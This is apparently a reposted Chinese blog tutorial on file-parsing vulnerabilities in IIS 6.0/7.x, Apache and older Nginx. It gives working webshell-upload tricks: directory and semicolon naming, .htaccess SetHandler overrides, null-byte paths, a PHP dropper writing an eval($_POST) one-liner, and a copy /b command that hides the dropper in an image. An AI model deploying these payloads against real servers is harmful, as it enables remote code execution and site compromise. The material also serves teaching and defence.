zoukankan      html  css  js  c++  java
  • 文件解析漏洞

    0x00 IIS 6.0解析漏洞

    目录解析漏洞

    Eg:

    /xx.asp/webshell.jpg

    /xx.asa/webshell.jpg

    上面两个例子演示了目录解析漏洞,.asp.asa结尾的目录下的任何文件都被当做asp文件来解析并执行。

    这如果网站本身存在这类目录,或者可以自己创建一个,而且存在跨目录上传漏洞的话,那不需要绕过文件类型检测都可以拿到网站的shell

     

    文件解析漏洞

    Eg

    webshell.asp;jpg --> webshell.asp

    上例就是IIS6.0的文件解析漏洞,很直观,意思就是分号后面的不被解析,即解析得webshell.asp,是可执行文件。

    IIS6.0除了asp为可执行文件,还有asacercdx等都是可执行文件。

     

    0x01 Apache解析漏洞

    Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。

    比如 test.php.qwe.asd,“.qwe”和”.asd” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd解析成php。

    其余配置问题导致漏洞

    1)如果在 Apache conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
    2)如果在 Apache conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

    (3).htaccess文件如果可以上传且能覆盖原有配置,

       文件写入配置<FilesMatch "hello"> SetHandler application/x-httpd-php </FilesMatch>

       上面配置意思是:无论文件后缀是什么,主要包含hellp就会php解析器解析此文件

    0x02 IIS 7.0/IIS 7.5/ Nginx版本小于8.03的畸形解析漏洞

    Fast-CGI开启

       这种漏洞的利用方式是在默认Fast-CGI开启状况下,攻击者上传一个名字为sp.jpg,内容为
    <?PHP fputs(fopen('payload.php','w'),' <?php eval($_POST[hehe])?>');?>
    的文件,然后当访问sp.jpg/.php这个页面,在这个目录下就会生成一句话木马 payload.php。

    常见利用方式:将一张图片和一个写入后门代码的文本合并,将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾

    eg:copy xx.jpg /b + yy.txt /a xy.jpg

    /b 即二进制[binary]模式

    /a 即ascii模式 xx.jpg正常图片文件

    yy.txt内容为<?PHP fputs(fopen('payload.php','w'),' <?php eval($_POST[hehe])?>');?>,意思是将<?php eval($_POST[hehe])?>写入到payload.php的文件中,这样就注入了一个webshell

     Fast-CGI关闭(Nginx <8.03 空字节代码执行漏洞)

    在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞

    在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。

    利用方式:

    在图片中嵌入php代码,嵌入的方法可以使用上面提到的copy命令

    访问xxx.jpg%00.php,这样就会执行图片中的php代码

     

    0x03 其他

    在windows环境下,xx.jpg[空格] 或xx.jpg.  这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,这也是可以被利用的!

    eg:

         xx.jpg%00

         xx.jpg.

     

     

  • 相关阅读:
    [Python学习]Iterator 和 Generator的学习心得
    ubantu linux的bash shell初接触
    Linux-Ubuntu 启用root账户
    Ubuntu Linux系统三种方法添加本地软件库
    ASK,OOK,FSK的联系和区别
    spinlock一边连逻辑一边连控制器
    Cgroup与LXC简介
    关于 package.json 和 package-lock.json 文件说明
    ng build --aot 与 ng build --prod
    【Rxjs】
  • 原文地址:https://www.cnblogs.com/alummox/p/9545052.html
Copyright © 2011-2022 走看看